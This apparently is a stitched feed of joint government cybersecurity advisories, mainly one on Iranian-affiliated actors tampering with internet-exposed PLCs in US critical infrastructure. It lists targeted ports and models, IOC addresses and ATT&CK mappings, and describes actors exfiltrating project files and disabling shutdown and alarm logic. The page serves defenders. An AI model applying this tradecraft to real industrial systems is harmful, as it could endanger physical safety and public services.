Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].


Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.


Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.


The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.



Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44


Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)


NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France


Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance





Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Sat, 25 Jul 2026 09:12:34 +0200
Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.


Last Update Description
This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.


Affected Products
Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.


Key Actions


Install PLCs consistent with manufacturers' guidelines and security best practices.
Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.




Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (July 2026) (29 KB)
AA26-097A STIX JSON (July 2026) (30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A STIX XML (36 KB)
AA26-097A STIX JSON (12 KB)
 




Intended Audience

Organizations: Critical Infrastructure
Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 
Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer




Introduction
Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.
The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).
Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.
If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.
For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.
Download the PDF version of this report:






    
    Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
    (PDF,       1.09 MB
  )
  

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (XML, 29 KB)
AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:






    
    AA26-097A.stix_.xml
    (XML,       35.97 KB
  )
  







    
    AA26-097A.stix_.json
    (JSON,       11.87 KB
  )
  

Background Information
Similar Historical Activity Targeting Programmable Logic Controllers
During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.
For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.
Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers
The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.
(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.
Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Initial Access
(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

Rockwell Automation: CompactLogix and Micro850 PLCs
Schneider Electric: BMX P34/Modicon M340 PLCs
Siemens: S7-1200 series PLCs

Command and Control
(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].
Exfiltration
(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].
Impact
(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.
Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.
Indicators of Compromise
See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.
Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]175
September 2025
February 2026


141.11.164[.]153
January 2026
June 2026


175.110.121[.]42
February 2026
March 2026


175.110.121[.]39
February 2026
March 2026


175.110.121[.]41
February 2026
March 2026


175.110.121[.]107
February 2026
February 2026


192.142.54[.]79
May 2026
June 2026


84.200.205[.]165
May 2026
June 2026


185.225.17[.]225
June 2026
July 2026


79.133.46[.]209
July 2026
July 2026


88.80.150[.]199
July 2026
July 2026


88.80.150[.]200
July 2026
July 2026


88.80.150[.]202
July 2026
July 2026




Table 2. Indicators of Compromise 


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]162
January 2025
March 2026


185.82.73[.]164
January 2025
March 2026


185.82.73[.]165
January 2025
March 2026


185.82.73[.]167
January 2025
March 2026


185.82.73[.]168
January 2025
March 2026


185.82.73[.]170
January 2025
March 2026


185.82.73[.]171
January 2025
March 2026


135.136.1[.]133
March 2026
March 2026



MITRE ATT&CK Tactics and Techniques
See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.



 

Table 4. Command and Control


Technique Title
ID
Use




Commonly Used Port
T0885
The actors leveraged commonly used OT ports to communicate with PLCs.


Remote Access Tools 
T1219
The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.




Table 5. Exfiltration (New, July 22, 2026)


Technique Title
ID
Use




Exfiltration Over C2 Channel
T1041
The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.




Table 6. Impact


Technique Title
ID
Use




Data Manipulation
T1565
The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.



Mitigations
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.
Network Defenders
The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.
(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.


Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.


Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.


Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.


Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.


Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.



Immediate steps to prevent the attack:

Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.


Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
(New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).


(New, July 22, 2026) Strictly control network access to PLC devices.


Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.


For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s²System Security Design Guidelines for manufacturer’s instructions.)


(New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.


For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

(New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.


If restoring from backups, verify the backup does not contain malicious logic before deployment.
Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.


(New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
(New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.


A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.


Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
Monitor the content of network traffic for the following:


Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.


(New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers
Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 
Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
Do not charge additional fees for basic security features needed to operate the product securely.
Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
Validate Security Controls
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.
Resources

Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
EPA: Cybersecurity for the Water Sector
CISA: Water and Wastewater Cybersecurity
CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
CISA: Iran Threat Overview and Advisories
FBI: The Iran Threat and Cyber Threat Overview: Iran
CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
CISA: Decider Tool
CISA: Cross-Sector Cybersecurity Performance Goals 2.0
CISA: No-Cost Cybersecurity Services and Tools
CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
CISA: Secure by Design
FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 

Date, time, and location of the incident;
Type of activity;
Number of people affected;
Type of equipment used for the activity; and
Name of the submitting company or organization, and a designated point of contact.


For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.
Version History
April 7, 2026: Initial version.
July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.
Notes
¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.
²See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.


Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting
Sat, 25 Jul 2026 08:51:21 +0200
Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 
This CSA is being released by the following authoring and co-sealing agencies: 

United States National Security Agency (NSA)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Federal Bureau of Investigation (FBI)
United States Department of Defense Cyber Crime Center (DC3)
